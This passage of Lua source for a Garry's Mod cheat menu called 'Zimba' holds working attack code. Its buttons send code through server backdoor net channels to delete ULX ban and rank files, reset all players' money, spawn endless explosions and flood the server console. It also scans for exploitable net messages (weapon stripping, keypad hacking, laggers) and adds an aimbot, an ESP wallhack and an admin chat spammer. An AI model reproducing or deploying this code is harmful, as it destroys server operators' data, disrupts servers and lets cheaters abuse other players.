  759. net.WriteBit(1)
  760. net.SendToServer()
  761. end
  762. end
  763.  
  764.  
  765. local DeleteBans = vgui.Create( "DButton", BackdoorMenu )
  766. DeleteBans:SetText( "Delete Bans" )
  767. DeleteBans:SizeToContents()
  768. DeleteBans:SetTall( 25 )
  769. DeleteBans:SetWide( DeleteBans:GetWide() + 20 )
  770. DeleteBans:SetPos( 480, 250 )
  771. DeleteBans:SetTextColor( Color( 255, 255, 255 ) )
  772. DeleteBans:SetToolTip( "Deletes all Bans!" )
  773. DeleteBans.Paint = function( self, w, h )
  774. DrawBlur(DeleteBans, 2)
  775. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  776. DeleteBans.DoClick = function()
  777. SploitNotify("Deleting Bans")
  778. surface.PlaySound("garrysmod/ui_click.wav")
  779. net.Start(netKey)
  780. net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
  781. net.WriteBit(1)
  782. net.SendToServer()
  783. end
  784. end
  785.  
  786.  
  787. local DeleteRanks = vgui.Create( "DButton", BackdoorMenu )
  788. DeleteRanks:SetText( "Delete ULX Ranks" )
  789. DeleteRanks:SizeToContents()
  790. DeleteRanks:SetTall( 25 )
  791. DeleteRanks:SetWide( DeleteRanks:GetWide() + 20 )
  792. DeleteRanks:SetPos( 50, 295 )
  793. DeleteRanks:SetTextColor( Color( 255, 255, 255 ) )
  794. DeleteRanks:SetToolTip( "Deletes ULX Groups / Ranks!" )
  795. DeleteRanks.Paint = function( self, w, h )
  796. DrawBlur(DeleteRanks, 2)
  797. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  798. DeleteRanks.DoClick = function()
  799. SploitNotify("Deleting ULX")
  800. surface.PlaySound("garrysmod/ui_click.wav")
  801. net.Start(netKey)
  802. net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
  803. net.WriteBit(1)
  804. net.SendToServer()
  805. end
  806. end
  807.  
  808.  
  809. local ResetMoney = vgui.Create( "DButton", BackdoorMenu )
  810. ResetMoney:SetText( "Reset RP Money" )
  811. ResetMoney:SizeToContents()
  812. ResetMoney:SetTall( 25 )
  813. ResetMoney:SetWide( ResetMoney:GetWide() + 20 )
  814. ResetMoney:SetPos( 180, 295 )
  815. ResetMoney:SetTextColor( Color( 255, 255, 255 ) )
  816. ResetMoney:SetToolTip( "Resets all DarkRP Money" )
  817. ResetMoney.Paint = function( self, w, h )
  818. DrawBlur(ResetMoney, 2)
  819. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  820. ResetMoney.DoClick = function()
  821. SploitNotify("Reseting Money")
  822. surface.PlaySound("garrysmod/ui_click.wav")
  823. net.Start(netKey)
  824. net.WriteString( "rp_resetallmoney")
  825. net.WriteBit(1)
  826. net.SendToServer()
  827. end
  828. end
  829.  
  830.  
  831. local Physics = vgui.Create( "DButton", BackdoorMenu )
  832. Physics:SetText( "Physics" )
  833. Physics:SizeToContents()
  834. Physics:SetTall( 25 )
  835. Physics:SetWide( Physics:GetWide() + 20 )
  836. Physics:SetPos( 300, 295 )
  837. Physics:SetTextColor( Color( 255, 255, 255 ) )
  838. Physics:SetToolTip( "Changes the physics." )
  839. Physics.Paint = function( self, w, h )
  840. DrawBlur(Physics, 2)
  841. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  842. Physics.DoClick = function()
  843. SploitNotify("Chaning Physics")
  844. surface.PlaySound("garrysmod/ui_click.wav")
  845. net.Start(netKey)
  846. net.WriteString( "sv_friction -8" )
  847. net.WriteBit(1)
  848. net.SendToServer()
  849. end
  850. end
  851.  
  852.  
  853. local ArtilleryStrike = vgui.Create( "DButton", BackdoorMenu )
  854. ArtilleryStrike:SetText( "Artillery Strike" )
  855. ArtilleryStrike:SizeToContents()
  856. ArtilleryStrike:SetTall( 25 )
  857. ArtilleryStrike:SetWide( ArtilleryStrike:GetWide() + 20 )
  858. ArtilleryStrike:SetPos( 375, 295 )
  859. ArtilleryStrike:SetTextColor( Color( 255, 255, 255 ) )
  860. ArtilleryStrike:SetToolTip( "Bombs drop everywhere." )
  861. ArtilleryStrike.Paint = function( self, w, h )
  862. DrawBlur(ArtilleryStrike, 2)
  863. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  864. ArtilleryStrike.DoClick = function()
  865. SploitNotify("Starting Strike")
  866. surface.PlaySound("garrysmod/ui_click.wav")
  867. local strike = "hook.Add(\"Think\", \"bombstrike\", function() \n local explode = ents.Create( \"env_explosion\" ) \n explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) ) explode:Spawn() explode:SetKeyValue( \"iMagnitude\", \"500\" ) explode:Fire( \"Explode\", 0, 0 ) end)"
  868. net.Start(netKey)
  869. net.WriteString( strike )
  870. net.WriteBit(1)
  871. net.SendToServer()
  872. end
  873. end
  874.  
  875. local StopArtilleryStrike = vgui.Create( "DButton", BackdoorMenu )
  876. StopArtilleryStrike:SetText( "Stops Strike" )
  877. StopArtilleryStrike:SizeToContents()
  878. StopArtilleryStrike:SetTall( 25 )
  879. StopArtilleryStrike:SetWide( StopArtilleryStrike:GetWide() + 20 )
  880. StopArtilleryStrike:SetPos( 480, 295 )
  881. StopArtilleryStrike:SetTextColor( Color( 255, 255, 255 ) )
  882. StopArtilleryStrike:SetToolTip( "Stops Artillery Strike" )
  883. StopArtilleryStrike.Paint = function( self, w, h )
  884. DrawBlur(StopArtilleryStrike, 2)
  885. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  886. StopArtilleryStrike.DoClick = function()
  887. SploitNotify("Stopping Strike")
  888. surface.PlaySound("garrysmod/ui_click.wav")
  889. net.Start(netKey)
  890. net.WriteString( "hook.Remove( \"Think\" ,\"bombstrike\")" )
  891. net.WriteBit(1)
  892. net.SendToServer()
  893. end
  894. end
  895.  
  896.  
  897. local FloodConsole = vgui.Create( "DButton", BackdoorMenu )
  898. FloodConsole:SetText( "Flood Console" )
  899. FloodConsole:SizeToContents()
  900. FloodConsole:SetTall( 25 )
  901. FloodConsole:SetWide( FloodConsole:GetWide() + 20 )
  902. FloodConsole:SetPos( 50, 340 )
  903. FloodConsole:SetTextColor( Color( 255, 255, 255 ) )
  904. FloodConsole:SetToolTip( "Floods Server Console" )
  905. FloodConsole.Paint = function( self, w, h )
  906. DrawBlur(FloodConsole, 2)
  907. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  908. FloodConsole.DoClick = function()
  909. SploitNotify("Flooding Console")
  910. surface.PlaySound("garrysmod/ui_click.wav")
  911. net.Start(netKey)
  912. net.WriteString( "timer.Create( \"adminsgonnahate\", 0.05, 0, function() print(\"0100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101\") end )" )
  913. net.WriteBit(1)
  914. net.SendToServer()
  915. end
  916. end
  917.  
  918.  
  919. ------------------------------
  920. -- MISC DERMA --
  921. ------------------------------
  922.  
  923.  
  924. local MiscMenu = vgui.Create( "DFrame" )
  925. MiscMenu:SetSize( 630, 450 )
  926. MiscMenu:SetVisible( true )
  927. MiscMenu:SetDraggable( false )
  928. MiscMenu:ShowCloseButton( false )
  929. MiscMenu:Center()
  930. MiscMenu:SetTitle("")
  931. MiscMenu:MakePopup()
  932. MiscMenu.Paint = function( self, w, h )
  933. DrawBlur(MiscMenu, 2)
  934. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  935. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  936. draw.SimpleText( "Zimba Misc Menu", "Title", MiscMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  937. end
  938.  
  939.  
  940. local MiscMenuClose = vgui.Create( "DButton", MiscMenu )
  941. MiscMenuClose:SetSize( 35, 35 )
  942. MiscMenuClose:SetPos( MiscMenu:GetWide() - 36,9 )
  943. MiscMenuClose:SetText( "X" )
  944. MiscMenuClose:SetFont( "Default" )
  945. MiscMenuClose:SetTextColor( Color( 255, 255, 255 ) )
  946. MiscMenuClose.Paint = function()
  947.  
  948. end
  949. MiscMenuClose.DoClick = function()
  950. CloseEverything()
  951. end
  952.  
  953. local MiscMenuPanelList = vgui.Create( "DScrollPanel", MiscMenu )
  954. MiscMenuPanelList:Dock( FILL )
  955.  
  956. ------------------------------
  957. -- MISC NOCLIP #1 --
  958. ------------------------------
  959.  
  960. local ClientSideNoclip = MiscMenuPanelList:Add( "DButton" )
  961. ClientSideNoclip:SetText( "Toggle Noclip")
  962. ClientSideNoclip:Dock( TOP )
  963. ClientSideNoclip:DockMargin( 0, 50, 0, 5 )
  964. ClientSideNoclip:SetTextColor( Color( 255, 255, 255 ) )
  965. ClientSideNoclip.Paint = function( self, w, h )
  966. DrawBlur(ClientSideNoclip, 2)
  967. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  968. end
  969. ClientSideNoclip.DoClick = function()
  970. surface.PlaySound("garrysmod/ui_click.wav")
  971. SploitNotify("Noclip Enabled")
  972. ply:ConCommand( "zimba_toggle_noclip" )
  973. end
  974.  
  975. ------------------------------
  976. -- MISC AIMBOT #2 --
  977. ------------------------------
  978.  
  979. local Aimbott = MiscMenuPanelList:Add( "DButton" )
  980. Aimbott:SetText( "Toggle Aimbot")
  981. Aimbott:Dock( TOP )
  982. Aimbott:DockMargin( 0, 0, 0, 5 )
  983. Aimbott:SetTextColor( Color( 255, 255, 255 ) )
  984. Aimbott.Paint = function( self, w, h )
  985. DrawBlur(Aimbott, 2)
  986. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  987. end
  988. Aimbott.DoClick = function()
  989. surface.PlaySound("garrysmod/ui_click.wav")
  990. SploitNotify("Aimbot Enabled")
  991. ply:ConCommand( "zimba_toggle_aimbot" )
  992. end
  993.  
  994.  
  995. ------------------------------
  996. -- MISC SPAMADMINS #3 --
  997. ------------------------------
  998.  
  999. local SpamAdminChat = MiscMenuPanelList:Add( "DButton" )
  1000. SpamAdminChat:SetText( "Spam Admins")
  1001. SpamAdminChat:Dock( TOP )
  1002. SpamAdminChat:DockMargin( 0, 0, 0, 5 )
  1003. SpamAdminChat:SetTextColor( Color( 255, 255, 255 ) )
  1004. SpamAdminChat.Paint = function( self, w, h )
  1005. DrawBlur(SpamAdminChat, 2)
  1006. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1007. end
  1008. SpamAdminChat.DoClick = function()
  1009. surface.PlaySound("garrysmod/ui_click.wav")
  1010. ply:ConCommand( "zimba_toggle_admin_spam" )
  1011. end
  1012.  
  1013. ------------------------------
  1014. -- EXPLOIT DERMA --
  1015. ------------------------------
  1016.  
  1017. local ExploitMenu = vgui.Create( "DFrame" )
  1018. ExploitMenu:SetSize( 630, 450 )
  1019. ExploitMenu:SetVisible( true )
  1020. ExploitMenu:SetDraggable( false )
  1021. ExploitMenu:ShowCloseButton( false )
  1022. ExploitMenu:Center()
  1023. ExploitMenu:SetTitle("")
  1024. ExploitMenu:MakePopup()
  1025. ExploitMenu.Paint = function( self, w, h )
  1026. DrawBlur(ExploitMenu, 2)
  1027. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  1028. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  1029. draw.SimpleText( "Zimba Exploit Menu", "Title", ExploitMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  1030. end
  1031.  
  1032.  
  1033. local ExploitMenuClose = vgui.Create( "DButton", ExploitMenu )
  1034. ExploitMenuClose:SetSize( 35, 35 )
  1035. ExploitMenuClose:SetPos( ExploitMenu:GetWide() - 36,9 )
  1036. ExploitMenuClose:SetText( "X" )
  1037. ExploitMenuClose:SetFont( "Default" )
  1038. ExploitMenuClose:SetTextColor( Color( 255, 255, 255 ) )
  1039. ExploitMenuClose.Paint = function()
  1040.  
  1041. end
  1042. ExploitMenuClose.DoClick = function()
  1043. CloseEverything()
  1044. end
  1045.  
  1046.  
  1047. local ExpolitPanelList = vgui.Create( "DScrollPanel", ExploitMenu )
  1048. ExpolitPanelList:Dock( FILL )
  1049.  
  1050. ------------------------------
  1051. -- EXPLOIT #1 --
  1052. ------------------------------
  1053.  
  1054. local status = ValidNetString("properties")
  1055. if (status) then
  1056.  
  1057. totalExploits = 1 + totalExploits
  1058.  
  1059. local StripWeapons = ExpolitPanelList:Add( "DButton" )
  1060. StripWeapons:SetText( "Strip Everyones Weapons")
  1061. StripWeapons:Dock( TOP )
  1062. StripWeapons:DockMargin( 0, 50, 0, 5 )
  1063. StripWeapons:SetTextColor( Color( 255, 255, 255 ) )
  1064. StripWeapons.Paint = function( self, w, h )
  1065. DrawBlur(StripWeapons, 2)
  1066. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1067. end
  1068. StripWeapons.DoClick = function()
  1069. removeAll()
  1070. surface.PlaySound("garrysmod/ui_click.wav")
  1071. SploitNotify("Stripping Weapons")
  1072. end
  1073. print("[ZIMBA] Found Exploit: Strip Everyones Weapons *Sometimes Works*")
  1074. end
  1075.  
  1076. ------------------------------
  1077. -- EXPLOIT #2 --
  1078. ------------------------------
  1079.  
  1080. local status = ValidNetString("start_wd_emp")
  1081. if (status) then
  1082.  
  1083. totalExploits = 1 + totalExploits
  1084.  
  1085. local HackKeypads = ExpolitPanelList:Add( "DButton" )
  1086. HackKeypads:SetText( "Hack Keypads")
  1087. HackKeypads:Dock( TOP )
  1088. HackKeypads:DockMargin( 0, 0, 0, 5 )
  1089. HackKeypads:SetTextColor( Color( 255, 255, 255 ) )
  1090. HackKeypads.Paint = function( self, w, h )
  1091. DrawBlur(HackKeypads, 2)
  1092. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1093. end
  1094. HackKeypads.DoClick = function()
  1095. HackKeypad()
  1096. surface.PlaySound("garrysmod/ui_click.wav")
  1097. SploitNotify("Hacking Keypads")
  1098. end
  1099. print("[ZIMBA] Found Exploit: Hack Keypad")
  1100. end
  1101.  
  1102.  
  1103. ------------------------------
  1104. -- EXPLOIT #3 --
  1105. ------------------------------
  1106.  
  1107. local status = ValidNetString("egg")
  1108. if (status) then
  1109.  
  1110. totalExploits = 1 + totalExploits
  1111.  
  1112. local GiveEasterEgg1 = ExpolitPanelList:Add( "DButton" )
  1113. GiveEasterEgg1:SetText( "Give Easter Egg")
  1114. GiveEasterEgg1:Dock( TOP )
  1115. GiveEasterEgg1:DockMargin( 0, 0, 0, 5 )
  1116. GiveEasterEgg1:SetTextColor( Color( 255, 255, 255 ) )
  1117. GiveEasterEgg1.Paint = function( self, w, h )
  1118. DrawBlur(GiveEasterEgg1, 2)
  1119. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1120. end
  1121. GiveEasterEgg1.DoClick = function()
  1122. GiveEasterEgg1()
  1123. surface.PlaySound("garrysmod/ui_click.wav")
  1124. SploitNotify("Hacking Keypads")
  1125. end
  1126. print("[ZIMBA] Found Exploit: Give Easter Egg")
  1127. end
  1128.  
  1129.  
  1130. ------------------------------
  1131. -- EXPLOIT #4 --
  1132. ------------------------------
  1133.  
  1134.  
  1135. local status = ValidNetString("steamid2")
  1136. if (status) then
  1137.  
  1138. totalExploits = 1 + totalExploits
  1139.  
  1140. local Lagger1 = ExpolitPanelList:Add( "DButton" )
  1141. Lagger1:SetText( "Lagger #1")
  1142. Lagger1:Dock( TOP )
  1143. Lagger1:DockMargin( 0, 0, 0, 5 )
  1144. Lagger1:SetTextColor( Color( 255, 255, 255 ) )
  1145. Lagger1.Paint = function( self, w, h )
  1146. DrawBlur(Lagger1, 2)
  1147. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1148. end
  1149. Lagger1.DoClick = function()
  1150. Lagger1()
  1151. surface.PlaySound("garrysmod/ui_click.wav")
  1152. SploitNotify("Starting Lagger #1")
  1153. end
  1154. print("[ZIMBA] Found Exploit: Lagger #1")
  1155. end
  1156.  
  1157.  
  1158. ------------------------------
  1159. -- EXPLOIT #5 --
  1160. ------------------------------
  1161.  
  1162.  
  1163. local status = ValidNetString("bodyman_model_change")
  1164. if (status) then
  1165.  
  1166. totalExploits = 1 + totalExploits
  1167.  
  1168. local ModelChanger = ExpolitPanelList:Add( "DButton" )
  1169. ModelChanger:SetText( "Model Changer")
  1170. ModelChanger:Dock( TOP )
  1171. ModelChanger:DockMargin( 0, 0, 0, 5 )
  1172. ModelChanger:SetTextColor( Color( 255, 255, 255 ) )
  1173. ModelChanger.Paint = function( self, w, h )
  1174. DrawBlur(ModelChanger, 2)
  1175. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1176. end
  1177. ModelChanger.DoClick = function()
  1178. ply:ConCommand( "zimba_toggle_model_changer" )
  1179. surface.PlaySound("garrysmod/ui_click.wav")
  1180. SploitNotify("Starting Model Changer")
  1181. end
  1182. print("[ZIMBA] Found Exploit: Model Changer")
  1183. end
  1184.  
  1185.  
  1186. ------------------------------
  1187. -- Chat Commands --
  1188. ------------------------------
  1189.  
  1190. hook.Add( "OnPlayerChat", "ChatCommands", function( ply, strText, bTeam, bDead )
  1191. strText = string.lower( strText )
  1192. if ( strText == "!zimbamenu" ) then
  1193. Zimba:Show()
  1194. ZimbaCategories:Show()
  1195. SploitNotify("Loading Menu")
  1196. return true
  1197. end
  1198. if ( strText == "!zimbanoclip" ) then
  1199. SploitNotify("Noclip Enabled")
  1200. ply:ConCommand( "zimba_toggle_noclip" )
  1201. return true
  1202. end
  1203. if ( strText == "!zimbaaimbot" ) then
  1204. SploitNotify("Aimbot Enabled")
  1205. ply:ConCommand( "zimba_toggle_aimbot" )
  1206. return true
  1207. end
  1208. end )
  1209.  
  1210. ------------------------------
  1211. -- ESP --
  1212. ------------------------------
  1213. local function coordinates( ent )
  1214. local min, max = ent:OBBMins(), ent:OBBMaxs()
  1215. local corners = {
  1216. Vector( min.x, min.y, min.z ),
  1217. Vector( min.x, min.y, max.z ),
  1218. Vector( min.x, max.y, min.z ),
  1219. Vector( min.x, max.y, max.z ),
  1220. Vector( max.x, min.y, min.z ),
  1221. Vector( max.x, min.y, max.z ),
  1222. Vector( max.x, max.y, min.z ),
  1223. Vector( max.x, max.y, max.z )
  1224. }
  1225.  
  1226. local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
  1227. for _, corner in pairs( corners ) do
  1228. local onScreen = ent:LocalToWorld( corner ):ToScreen()
  1229. minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
  1230. maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
  1231. end
  1232.  
  1233. return minX, minY, maxX, maxY
  1234. end
  1235.  
  1236. hook.Add("HUDPaint", "ESP", function()
  1237.  
  1238. for k,v in pairs(player.GetAll()) do
  1239. local x1,y1,x2,y2 = coordinates(v)
  1240. surface.SetDrawColor(color_white)
  1241.  
  1242.  
  1243. surface.DrawLine( x1, y1, math.min( x1 + 5, x2 ), y1 )
  1244. surface.DrawLine( x1, y1, x1, math.min( y1 + 5, y2 ) )
  1245.  
  1246.  
  1247. surface.DrawLine( x2, y1, math.max( x2 - 5, x1 ), y1 )
  1248. surface.DrawLine( x2, y1, x2, math.min( y1 + 5, y2 ) )
  1249.  
  1250.  
  1251. surface.DrawLine( x1, y2, math.min( x1 + 5, x2 ), y2 )
  1252. surface.DrawLine( x1, y2, x1, math.max( y2 - 5, y1 ) )
  1253.  
  1254.  
  1255. surface.DrawLine( x2, y2, math.max( x2 - 5, x1 ), y2 )
  1256. surface.DrawLine( x2, y2, x2, math.max( y2 - 5, y1 ) )
  1257. if v ~= LocalPlayer() and v:Alive() then
  1258. local esppos = v:EyePos():ToScreen()
  1259. if(v:GetUserGroup() ~= "user" or v:GetUserGroup() ~= "guest") then
  1260. draw.SimpleText( "[".. v:GetUserGroup() .. "]" .. v:Nick(), "ESP", esppos.x, esppos.y, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP)
  1261. draw.SimpleText( "Health: " .. v:Health(), "ESP", esppos.x, esppos.y, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_BOTTOM)
  1262. end
  1263. end
  1264. end
  1265. end)
  1266.  
  1267. ------------------------------
  1268. -- AIMBOT --
  1269. ------------------------------
  1270.  
  1271. local AB = {}
  1272. AB.Enabled = false
  1273.  
  1274. function Aimbot()
  1275. if ( !AB.Enabled ) then return end
  1276. local ply = LocalPlayer()
  1277. local trace = util.GetPlayerTrace( ply )
  1278. local traceRes = util.TraceLine( trace )
  1279. if traceRes.HitNonWorld then
  1280. local target = traceRes.Entity
  1281. if target:IsPlayer() then
  1282. local targethead = target:LookupBone("ValveBiped.Bip01_Head1")
  1283. local targetheadpos,targetheadang = target:GetBonePosition(targethead)
  1284. ply:SetEyeAngles((targetheadpos - ply:GetShootPos()):Angle())
  1285. end
  1286. end
  1287. end
  1288. hook.Add("Think","aimbot",Aimbot)
  1289.  
  1290. function AB.Toggle()
  1291. AB.Enabled = !AB.Enabled
  1292. AB.LockView = AB.Enabled
  1293. AB.SetView = true
  1294.  
  1295. local status = { [ true ] = "ON", [ false ] = "OFF" }
  1296. SploitNotify("Aimbot: " .. status[ AB.Enabled ])
  1297. end
  1298. concommand.Add( "zimba_toggle_aimbot", AB.Toggle )
  1299.  
  1300.  
  1301. ------------------------------
  1302. -- SPAM ADMINS --
  1303. ------------------------------
  1304.  
  1305. function AdminSpammerOpen()
  1306.  
  1307. local AdminSpammer = vgui.Create( "DFrame" )
  1308. AdminSpammer:SetPos( 5, 5 )
  1309. AdminSpammer:SetSize( 285, 160 )
  1310. AdminSpammer:SetVisible( true )
  1311. AdminSpammer:SetTitle("")
  1312. AdminSpammer:SetDraggable( false )
  1313. AdminSpammer:ShowCloseButton( false )
  1314. AdminSpammer:MakePopup()
  1315. AdminSpammer:Center()
  1316. AdminSpammer.Paint = function( self, w, h )
  1317. DrawBlur(AdminSpammer, 2)
  1318. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  1319. draw.RoundedBox(0, 2, 2, w - 4, h / 4, Color(0,0,0,125))
  1320. draw.SimpleText( "Admin Chat Spammer", "Title", AdminSpammer:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  1321. end
  1322.  
  1323. local AdminSpammerClose = vgui.Create( "DButton", AdminSpammer )
  1324. AdminSpammerClose:SetSize( 35, 35 )
  1325. AdminSpammerClose:SetPos( AdminSpammerClose:GetWide() - -220,3 )
  1326. AdminSpammerClose:SetText( "X" )
  1327. AdminSpammerClose:SetFont( "Default" )
  1328. AdminSpammerClose:SetTextColor( Color( 255, 255, 255 ) )
  1329. AdminSpammerClose.Paint = function()
  1330.  
  1331. end
  1332. AdminSpammerClose.DoClick = function()
  1333. AdminSpammer:Hide()
  1334. end
  1335.  
  1336. local AdminChatSpammerTextEntry = vgui.Create( "DTextEntry", AdminSpammer ) -- create the form as a child of frame
  1337. AdminChatSpammerTextEntry:SetPos( 35, 60 )
  1338. AdminChatSpammerTextEntry:SetSize( 215, 20 )
  1339. AdminChatSpammerTextEntry:SetText( "" )
  1340. AdminChatSpammerTextEntry.OnEnter = function( self )
  1341. chat.AddText( self:GetValue() ) -- print the form's text as server text
  1342. end
  1343.  
  1344. local StartAdminSpammer = vgui.Create( "DButton", AdminSpammer )
  1345. StartAdminSpammer:SetText( "Start Spammer" )
  1346. StartAdminSpammer:SizeToContents()
  1347. StartAdminSpammer:SetTall( 25 )
  1348. StartAdminSpammer:SetWide( 100 )
  1349. StartAdminSpammer:SetPos( 35, 100 )
  1350. StartAdminSpammer:SetTextColor( Color( 255, 255, 255 ) )
  1351. StartAdminSpammer:SetToolTip( "Checks the hack Client Version." )
  1352. StartAdminSpammer.Paint = function( self, w, h )
  1353.  
  1354. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1355. end
  1356. StartAdminSpammer.DoClick = function()
  1357. StartAdminSpammer()
  1358. end
  1359.  
  1360. local StopAdminSpammer = vgui.Create( "DButton", AdminSpammer )
  1361. StopAdminSpammer:SetText( "Stop Spammer" )
  1362. StopAdminSpammer:SizeToContents()
  1363. StopAdminSpammer:SetTall( 25 )
  1364. StopAdminSpammer:SetWide( 100 )
  1365. StopAdminSpammer:SetPos( 150, 100 )
  1366. StopAdminSpammer:SetTextColor( Color( 255, 255, 255 ) )
  1367. StopAdminSpammer:SetToolTip( "Checks the hack Client Version." )
  1368. StopAdminSpammer.Paint = function( self, w, h )
  1369.  
  1370. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1371. end
  1372. StopAdminSpammer.DoClick = function()
  1373. StopAdminSpammer()
  1374. end
  1375.  
  1376.  
  1377. -- Spammer Functions
  1378. function StartAdminSpammer()
  1379. timer.Create( "StartAdminSpammer", 0, 0, function()
  1380. for i = 1, 100 do
  1381. RunConsoleCommand( "ulx", "asay", AdminChatSpammerTextEntry:GetValue() )
  1382. end
  1383. end)
  1384. SploitNotify("Spamming Admins")
  1385. surface.PlaySound("garrysmod/ui_click.wav")
  1386. end
  1387.  
  1388. function StopAdminSpammer()
  1389. timer.Destroy("StartAdminSpammer")
  1390. SploitNotify("Stopped Spamming")
  1391. surface.PlaySound("garrysmod/ui_click.wav")
  1392. end
  1393. end
  1394. concommand.Add( "zimba_toggle_admin_spam", AdminSpammerOpen )
  1395.  
  1396.  
  1397. ------------------------------
  1398. -- Other Stuff --
  1399. ------------------------------
  1400. playSound("http://skydarkrp.com/zimba/zimba.mp3")
  1401. SploitNotify("Welcome " .. ply:GetName())
  1402.  
  1403. Zimba:Hide()
  1404. ZimbaCategories:Hide()
  1405. ExploitMenu:Hide()
  1406. MiscMenu:Hide()
  1407. BackdoorMenu:Hide()
  1408.  
  1409. function CloseEverything()
  1410. Zimba:Hide()
  1411. ZimbaCategories:Hide()
  1412. ExploitMenu:Hide()
  1413. MiscMenu:Hide()
  1414. BackdoorMenu:Hide()
  1415. end
  1416.  
  1417. function closealltabs()
  1418. Zimba:Hide()
  1419. ExploitMenu:Hide()
  1420. MiscMenu:Hide()
  1421. BackdoorMenu:Hide()
  1422. end
  1423.  
  1424. function OpenZimbaMenu()
  1425. Zimba:Show()
  1426. ZimbaCategories:Show()
  1427. end
  1428.  
  1429. function OpenExploitMenu()
  1430. ExploitMenu:Show()
  1431. end
  1432.  
  1433. function OpenMiscMenu()
  1434. MiscMenu:Show()
  1435. end
  1436.  
  1437. function OpenBackdoor()
  1438. BackdoorMenu:Show()
  1439. end
  1440.  
  1441.  
  1442. ------------------------------
  1443. -- Check Backdoors --
  1444. ------------------------------
  1445.  
  1446. function checkbackdoors()
  1447. if( ValidNetString("memeDoor") ) then
  1448. BackdoorsFound = 1 + BackdoorsFound
  1449. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Found Backdoor! - memeDoor" )
  1450. netKey = "memeDoor"
  1451. else
  1452. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," Backdoor Not Found - memeDoor!" )
  1453. end
  1454. if( ValidNetString("Sandbox_Armdupe") ) then
  1455. BackdoorsFound = 1 + BackdoorsFound
  1456. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Found Backdoor! - Sandbox_Armdupe" )
  1457. netKey = "Sandbox_Armdupe"
  1458. else
  1459. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," BackDoor Not Found - Sandbox_Armdupe!" )
  1460. end
  1461. if( ValidNetString("BackDoor") ) then
  1462. BackdoorsFound = 1 + BackdoorsFound
  1463. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Found Backdoor! - Backdoor" )
  1464. netKey = "BackDoor"
  1465. else
  1466. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," BackDoor Not Found - Backdoor!" )
  1467. end
  1468. if( ValidNetString("ZimbaBackDoor") ) then
  1469. BackdoorsFound = 1 + BackdoorsFound
  1470. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Found Backdoor! - ZimbaBackdoor" )
  1471. netKey = "ZimbaBackDoor"
  1472. else
  1473. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," BackDoor Not Found - ZimbaBackdoor!" )
  1474. end
  1475. SploitNotify("Found: ".. BackdoorsFound )
  1476. chat.AddText("Changed Net String to - ".. netKey )
  1477. end
  1478.  
  1479. -- Zimba Watermark
  1480.  
  1481. function Watermark()
  1482. Watermark = vgui.Create( "HTML" )
  1483. Watermark:SetPos( 5, 5)
  1484. Watermark:SetSize( ScrW(), ScrH())
  1485. Watermark:OpenURL( "http://skydarkrp.com/zimba/zimbalogosmall.png" )
  1486. end
  1487.  
  1488. --
  1489.  
  1490. concommand.Add("zimba_menu", OpenZimbaMenu)
